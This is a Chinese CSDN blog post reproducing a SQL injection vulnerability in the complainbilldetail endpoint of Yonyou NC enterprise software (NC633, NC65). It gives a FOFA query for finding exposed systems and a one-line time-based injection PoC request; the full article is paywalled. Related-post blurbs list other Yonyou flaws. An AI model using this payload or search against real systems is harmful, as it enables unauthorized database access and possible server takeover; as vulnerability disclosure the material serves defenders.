用友NC complainbilldetail SQL注入漏洞复现

已于 2024-05-17 15:13:56 修改
阅读量628 收藏
点赞数 2
分类专栏： 漏洞复现 文章标签： sql 安全 web安全
于 2024-05-17 15:13:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/139004987
版权
本文介绍了用友NC管理软件存在的SQL注入漏洞，该漏洞允许攻击者通过/ebvp/advorappcoll/complainbilldetail接口执行任意命令，影响NC633和NC65版本。提供了复现环境和PoC，同时给出了修复建议，包括安装相应补丁并重启服务。
摘要由CSDN通过智能技术生成

0x01 产品简介

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。

0x02 漏洞概述

用友NC /ebvp/advorappcoll/complainbilldetail接口存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

0x03 影响范围

version= NC633、NC65

0x04 复现环境

FOFA：app="用友-UFIDA-NC"

0x05 漏洞复现

PoC

GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:8'-- H
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
用友NC Cloud blobRefClassSearch FastJson反序列化RCE漏洞复现
0xSec
07-13 773
用友 NC Cloud blobRefClassSearch 接口处存在FastJson反序列化漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。
【漏洞复现】用友NC-SQL注入-bill
知黑而守白
06-19 62
用友NC是北京用友软件股份有限公司（简称“用友”）开发的一款企业管理软件，支持财务会计、人力资源、供应链、生产制造、客户关系管理等多个业务领域，涵盖了企业核心业务及管理流程。用友NC是基于B/S架构的软件系统，提供基于云计算、SaaS模式、本地部署等多种部署方式，广泛应用于国内外众多中小型企业和大型企业。用友NC bill 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL语句，成功注入并执行恶意数据库操作，可能导致敏感信息泄露、数据库被篡改或其他严重后果。
用友U8 CRM swfupload 任意文件上传漏洞复现(XVE-2024-8597)
qq_39894062的博客
04-20 744
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。
HW漏洞威胁情报第一天|HW情报
weixin_43167326的博客
07-24 345
技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！蓝凌EKP存在sys_ui_component远程命令执行漏洞亿赛通数据泄露防护(DLP)系统NoticeAjax接口存在SQL注入漏洞天问物业ERP系统AreaAvatarDownLoad存在任意文件读取漏洞。
用友NC down/bill SQL注入漏洞复现(XVE-2024-9469)
0xSec
05-01 751
用友NC //portal/pt/erfile/down/bill接口的id参数存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。
0day 新接口用友NC Cloud objquery SQL注入漏洞 (未公开)
weixin_43167326的博客
07-04 833
用友U8Cloud是用友网络科技股份有限公司（简称“用友网络”）推出的一款云端企业管理软件。用友U8Cloud提供了全面的企业管理功能，包括财务管理、人力资源管理、供应链管理、采购管理、销售管理等。支持多种业务模式，适用于不同行业和企业规模的需求，帮助企业实现数字化转型和云端化管理。近日，新华三盾山实验室监测到用友官方发布了安全公告，修复了一个存在于用友U8Cloud中的反序列化漏洞，攻击者利用该漏洞可在目标服务器上执行任意代码。
【漏洞复现】用友NC Cloud-runScript-SQL注入漏洞
Nday_Seeker
03-20 942
用友NC Cloud系统中的runScript接口被发现存在SQL注入（SQL Injection）安全漏洞。攻击者通过构造恶意的输入数据，能够将非法的SQL命令插入到原本正常的数据库查询语句中，从而绕过授权机制，未经授权地直接访问、修改或删除数据库中的敏感信息。
用友NC mobilereport接口存在SQL注入漏洞
weixin_43167326的博客
04-03 468
用友NC系统是一款全面的企业管理软件，涵盖财务、人力资源、供应链等多个领域，助力企业实现信息化管理和业务优化。此系统某接口存在SQL注入漏洞。
用友NC任意文件上传漏洞利用工具
04-14
用友NC任意文件上传漏洞利用工具，用友NC6.5的某个页面，存在任意文件上传漏洞。漏洞成因在于上传文件处未作类型限制，未经身份验证的攻击者可通过向目标系统发送特制数据包来利用此漏洞，成功利用此漏洞的远程攻击...
用友NC65安装操作手册（自己编制）
10-13
《用友NC65安装操作手册》是一份详尽的指南，主要针对想要自我学习和测试用友NC65的新手顾问。这份手册涵盖了从安装数据库到配置数据源的整个流程，同时也适用于其他高版本的NCC产品。下面将详细阐述其中的关键步骤...
用友NC BeanShell远程代码执行
09-07
# 用友NC BeanShell远程代码执行 # CNVD-2021-30167 ## 漏洞描述 用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友 NC bsh.[servlet]...
用友NC65报表创建步骤-实用
03-16
在企业信息化管理中，用友NC65是一款强大的企业资源规划系统，其报表功能是企业数据分析和决策的重要工具。在NC65中，创建内部报表的过程涉及到多个步骤，包括数据源配置、语义模型构建、报表设计以及权限分配。下面...
用友nc数据字典.xls
02-19
用友nc数据字典.xls
五月份0day/1day/nday漏洞汇总
qq_39894062的博客
06-01 934
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！
Sql与Rce注入相关漏洞复现
最新发布
山月不问人间事
08-12 663
‌这些查询可以是SELECT、‌INSERT、‌UPDATE或DELETE等，‌它们将在数据库中按顺序处理，‌尽管它们是在单个函数调用中发送的。假设我发送的是这样一个请求：i_d=1&i.d=2 ，php先将i.d转换成i_d，即为i_d=1&i_d=2 ，再获取到的$_REQUEST['i_d']就是2。可在$_SERVER['REQUEST_URI']中，i_d和i.d却是两个完全不同的参数名，那么切割覆盖后，获取的$_REQUEST['i_d']却是1。参数是可选的，‌用于限制分割后的数组元素数量。
kubernetes集群部署sql server数据库服务
jiang0615csdn的博客
08-08 500
kubernetes集群部署sql server数据库服务
力扣高频SQL 50题（基础版）第四十二题之1517.查找拥有有效邮箱的用户
m0_70882914的博客
08-09 218
1517.查找拥有有效邮箱的用户
SQL Zoo 8+.NSS Tutorial
weixin_61524392的博客
08-09 710
以下数据来自。
用友nc反序列化漏洞
12-21
用友NC反序列化漏洞是指用友NC软件存在的一种安全漏洞，攻击者可以利用该漏洞向受害者的系统中注入恶意代码，导致系统遭受攻击。该漏洞的成因主要是由于用友NC软件在反序列化过程中存在安全性缺陷，攻击者可以利用这一点来执行未经授权的代码。 攻击者通常会利用一些常见的反序列化漏洞利用技术，如反序列化注入、反序列化利用链等，来利用用友NC软件的漏洞进行攻击。通过构造恶意的序列化数据，攻击者可以在受害者系统中执行恶意代码，包括但不限于执行任意命令、获取系统权限、窃取敏感信息等行为。 为了防范用友NC反序列化漏洞的攻击，用户和系统管理员可以采取一些措施，如及时安装官方发布的安全补丁、加强系统安全配置、限制用户权限、使用安全的序列化与反序列化机制等。另外，对于已知的漏洞利用技术，用户还可以利用防火墙、入侵检测系统等安全设备进行监测和阻断。 总之，要防范用友NC反序列化漏洞的攻击，需要用户和系统管理员密切关注安全动态，及时采取必要的安全措施来保护系统和数据的安全。同时，用友NC软件的开发者也应及时修复这类漏洞，加强软件的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值